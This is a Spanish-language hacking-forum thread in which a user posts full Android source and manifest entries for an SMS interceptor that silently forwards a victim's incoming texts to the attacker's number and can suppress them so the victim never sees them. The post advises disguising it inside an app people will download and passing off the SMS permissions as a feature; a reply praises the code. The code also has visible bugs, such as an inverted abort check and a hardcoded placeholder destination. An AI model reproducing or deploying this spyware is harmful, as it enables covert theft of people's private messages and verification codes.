Interceptador de SMS

  • 1 Respuestas
  • 344 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Adalher

  • *
  • Underc0der
  • Mensajes: 84
  • Actividad:
    53.33%
  • Reputación 0
    • Ver Perfil

Interceptador de SMS

  • en: Septiembre 16, 2019, 06:15:44 am
Hola a todos,

aquí hay un interceptor de SMS que se escribió para un miembro de un foro por el 2011, pensé que seguiría adelante y lo liberaría públicamente ya que para algunos la sección de Desarollo móvil a veces puede ser aburrida como Clay Davis.

Lo que esto hace:
  • Intercepta mensajes SMS.
  • Puedes elegir un número o números para interceptar, o simplemente interceptar todo.
  • Redirige los mensajes interceptados a un número de tu elección.
  • Te permite cancelar la transmisión SMS_RECEIVED, lo que significa que tu aplicación será la única en leerlos y la víctima nunca verá el mensaje.

Cosas a tener en cuenta:
  • Esto no bloquea las salidas de Logcat. Esto significa que si la víctima es un desarrollador, puede notar que una transmisión de SMS entrante se registra en Logcat. Realmente un hecho raro, no me preocuparía.
  • No tengo idea de lo que sucede en caso de un mensaje MMS.
  • Nunca he probado esto a gran escala, esto solo se ha probado en un entorno controlado. No me culpes si tu cuenta de desarrollador se suspende.
  • Se le notificará al usuario que está utilizando los permisos de SMS declarados en tu manifiesto,  eso se ve sospechoso. Intenta jugarlo como una característica en tu aplicación.

Ahora bien, aquí está el código fuente.
SmsReceiver.java
Código: [Seleccionar]
//Author: MrZander

import java.util.Arrays;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsReceiver extends BroadcastReceiver {

    // CONFIGURATION //

    // Esto cancelará la transmisión del SMS recibido.
    // Si esto es true, la víctima NO recibirá el mensaje que se le envía.   
    boolean abortarTM = true;

    // Si se debe interceptar o no TODOS los mensajes.   
    boolean interceptarTodos = false;

    // si interceptarTodos está apagado, esta es la matriz de números que serán interceptados.
    String[] numeros = {"5551234567","5551234655"};

    // Estos son los números de celulares a los que se ENVIARÁN los mensajes. (Su celular).
    String redireccionarCelular = "1235558765";

    // En emisión recibida. Mensaje SMS entrante.
    public void onReceive(Context context, Intent intento) {

  Bundle extras = intento.getExtras();
  String mensajes = "";

  // Se utiliza para determinar si un mensaje debe ser redirigido o no.
  boolean esDeEspia = false;

  if ( extras != null ) {
    Object[] smsExtra = (Object[]) extras.get("pdus"); //" Unidades de descripción de protocolo "
    for ( int i = 0; i < smsExtra.length; ++i ) { // Recorrer todos los mensajes (si se divide).

        // Recibe el mensaje de las UDP
    SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);

    // Si interceptarTodos es verdadero o el número de teléfono está en la matriz de números para interceptar.
    if(interceptarTodos||Arrays.asList(numeros).contains(sms.getDisplayOriginatingAddress())){
  // Si el mensaje se disecciona en múltiples, concatenar.
    mensajes+=sms.getMessageBody()+"\n";

    // Este mensaje es de la víctima, redirigir.
    esDeEspia=true;

    //Abortar SMS.
    if(!abortarTM){
        abortBroadcast();
    }

    }
    }

    // Redirigir mensaje si es de la víctima
    if(esDeEspia){
        enviarSms(mensajes,"TUNUMERO");
    }

  }
    }

    // Enviar SMS ... bastante sencillo
    public  void enviarSms(String mensaje, String numcelular){
  SmsManager gs = SmsManager.getDefault();
  try{
  gs.sendTextMessage(numcelular, null, mensaje, null, null);
  }catch(Exception ex){
      // Error, este mensaje se perderá ... Les sugiero que creen
      // un método para hacer una copia de seguridad de los mensajes en caso de error y que lo vuelvan a intentarlo más tarde.
  }
    }
}

Declaraciones para agregar a sus AndroidManifest.xml
Permisos:
Código: [Seleccionar]
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />

Receptor de transmisión: (le permite a Android saber que vas a recibir mensajes SMS. Nota: la prioridad se establece muy alta para permitir que tu aplicación sea la primera en recibir un mensaje SMS.
Código: [Seleccionar]
<receiver android:name=".SmsReceiver" android:enabled="true">
    <intent-filter android:priority="1000">
    <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
    </receiver>
Asegúrate de que si cambias "SmsReceiver.java a un nombre de clase diferente también tienes que cambiarlo en el manifiest. (Aunque no hay razón para cambiarlo).

Lo que tienes que hacer
1. Crea una aplicación que no sea Clay Davis para que la gente realmente la descargue.
2. Agrega la clase 'SmsReceiver' a tu proyecto. (Recomiendo NO renombrarlo).
3. Agrega las declaraciones de manifiest.

Estas listo. No se necesita un código de inicialización, todo se maneja en el Manifiesto.
Avísenme si hay algún problema/error. (Se agregó algunas características sin probar. No creo que sea muy retrasado. Debería ser bueno).
Que se diviertan.

Autor: MrZander


Saludos

Desconectado Zentraedi

  • *
  • Underc0der
  • Mensajes: 58
  • Actividad:
    6.67%
  • Reputación 0
    • Ver Perfil
    • Email

Re:Interceptador de SMS

  • en: Septiembre 16, 2019, 12:02:21 pm
La verdad que muy bueno, no lo probé aún, pero el código muy bien explicado.

Enviado desde mi Moto E (4) Plus mediante Tapatalk